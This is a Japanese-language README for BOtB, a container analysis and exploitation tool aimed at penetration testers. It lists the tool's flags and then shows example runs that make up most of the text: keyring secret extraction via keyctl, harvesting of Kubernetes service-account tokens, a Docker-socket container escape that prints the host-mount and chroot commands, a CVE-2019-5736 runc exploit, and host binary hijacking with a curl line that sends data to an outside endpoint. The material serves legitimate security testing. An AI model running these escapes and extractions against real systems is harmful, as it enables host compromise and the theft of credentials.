
ペンテスターやエンジニア向けのコンテナ分析・悪用ツール。
BOtB は、ペネトレーションテスターやエンジニア向けに設計されたコンテナ分析および悪用ツールであり、一般的な CI/CD 技術と連携して使用できます。
BOtB は CLI ツールであり、以下のことが可能です:
バイナリからのインストール手順については、リリースページ をご覧ください。
go get github.com/brompwnie/botb
Go を使用した BOtB のビルド:
go build
Make を使用した BOtB のビルド:
make
BOtB は対象プラットフォーム向けにバイナリにコンパイルでき、以下のように使用します。
./botb-linux-amd64 -h
-aggr string
RuncPWN の悪用を試みます(デフォルト "nil")
-always-succeed
BOtB の終了コードを常にゼロに設定します
-autopwn
露出したソケットの自動悪用を試みます
-cicd
自動悪用を試みますが、TTY に落ちず、成功した場合は終了コード 1、そうでなければ 0 を返します
-config string
指定された yaml ファイルから設定を読み込みます(デフォルト "nil")
-endpoints string
テストに使用するエンドポイントが記載されたテキストファイルを指定します(デフォルト "nil")
-find-docker
Dockerd の検出を試みます
-find-http
HTTP が利用可能な UNIX ドメインソケットを探索します
-find-sockets
利用可能な UNIX ドメインソケットを探索します
-hijack string
ホスト上のバイナリのハイジャックを試みます(デフォルト "nil")
-k8secrets
K8's シークレットの特定と検証を行います
-keyMax int
最大キー ID 範囲(デフォルト 100000000)、システム最大値は 999999999(デフォルト 100000000)
-keyMin int
最小キー ID 範囲(デフォルト 1)(デフォルト 1)
-metadata
メタデータサービスの検出を試みます
-path string
UNIX ドメインソケットのスキャンを開始するパス(デフォルト "/")
-pwn-privileged string
--privilege CGROUP release_agent を悪用する際のコマンドペイロードを提供します(デフォルト "nil")
-pwnKeyctl
keyctl syscall を悪用し、Linux カーネルキーリングからデータを抽出します
-recon
コンテナ環境の偵察を実行します
-region string
AWS リージョン(例:eu-west-2)を指定します(デフォルト "nil")
-rev-dns string
サブネットに対する逆引き DNS ルックアップを実行します。パラメータは CIDR 表記で指定します(例:-rev-dns 192.168.0.0/24)(デフォルト "nil")
-s3bucket string
S3 プッシュ用のバケット名を指定します(デフォルト "nil")
-s3push string
S3 にファイルをプッシュします(例:https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME にプッシュする完全なコマンドは:-region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME)(デフォルト "nil")
-scrape-gcp
GCP メタデータサービスのスクレイピングを試みます
-verbose
詳細な出力
-wordlist string
ワードリストを提供します(デフォルト "nil")
BOtB は config パラメータを使用して YAML ファイルから設定を読み込むこともできます。
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
以下の使用例では、デフォルトで異常が検出された場合に終了コード > 0 を返します。これは "echo $?" で最後に実行されたコマンドの終了コードを示しています。
原作者からの詳細情報はこちら https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
"KeyId": 13738777,
"Valid": true,
"Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
"Type": "keyring",
"Uid": "0",
"Gid": "0",
"Perms": "3f1b0000",
"String_Content": "\ufffd\ufffd\ufffd\u000e",
"Byte_Content": "wP73Dg==",
"Comments": null,
"Subkeys": [
{
"KeyId": 251133632,
"Valid": true,
"Name": "brompwnie_secret",
"Type": "user",
"Uid": "0",
"Gid": "0",
"Perms": "3f010000",
"String_Content": "thetruthisialsoreallyliketrees",
"Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
"Comments": null,
"Subkeys": null,
"Output": ""
}
],
"Output": ""
}
[+] Finished
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
このアプローチでは、ホスト上のインタラクティブ TTY に脱出します。
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #
このアプローチではホスト上の TTY に脱出せず、代わりに終了コード > 0 を返してコンテナ脱出の成功を示します。
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished
#echo $?
1
このエクスプロイトが機能するには、対象コンテナ内でプロセスが実行される必要があることに注意してください。
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished
これは、外部エンティティがコンテナ内でコマンドを実行しているかどうかをテストするために使用できます。例としては、Docker Exec や kubetcl cp があります。
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1
[+] Currently hijacking: /bin
[+] Currently hijacking: /sbin
[+] Currently hijacking: /usr/bin
[+] Finished
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished
#echo $?
1